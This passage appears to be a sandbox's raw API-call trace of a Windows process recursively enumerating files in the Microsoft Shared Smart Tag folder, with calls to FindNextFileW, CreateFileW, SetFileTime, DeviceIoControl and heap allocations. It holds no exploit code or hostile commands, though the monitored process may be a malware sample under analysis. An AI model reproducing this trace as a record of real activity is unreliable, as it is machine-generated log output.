ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0239.954] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0239.954] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0239.954] GetLastError () returned 0x12 [0239.954] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0239.954] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0239.954] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0239.954] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.954] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="")) returned 1 [0239.954] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.954] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0240.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0240.136] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0240.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90bd70 [0240.137] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90bd70, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x90bd70, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0240.137] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90bd70) returned 1 [0240.137] NtClose (Handle=0x1b0) returned 0x0 [0240.137] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0240.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0240.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0240.137] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.137] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0240.221] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.221] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0240.221] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0240.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.221] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.222] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0240.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.222] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0240.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.222] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0240.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.222] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0240.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.223] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0240.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.223] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="")) returned 1 [0240.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.223] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0240.223] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0240.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.223] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0240.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0240.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0240.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9090f8 [0240.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90b140 [0240.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.224] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0240.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.224] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0240.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909118 [0240.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90b248 [0240.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.224] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 1 [0240.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.225] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 0 [0240.225] GetLastError () returned 0x12 [0240.225] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0240.225] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0240.225] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.225] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0240.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.225] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0240.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0240.253] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0240.253] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90bd70 [0240.253] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90bd70, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x90bd70, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0240.253] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90bd70) returned 1 [0240.253] NtClose (Handle=0x1b0) returned 0x0 [0240.253] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.253] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.254] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0240.254] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.254] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0240.254] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.254] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0240.254] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 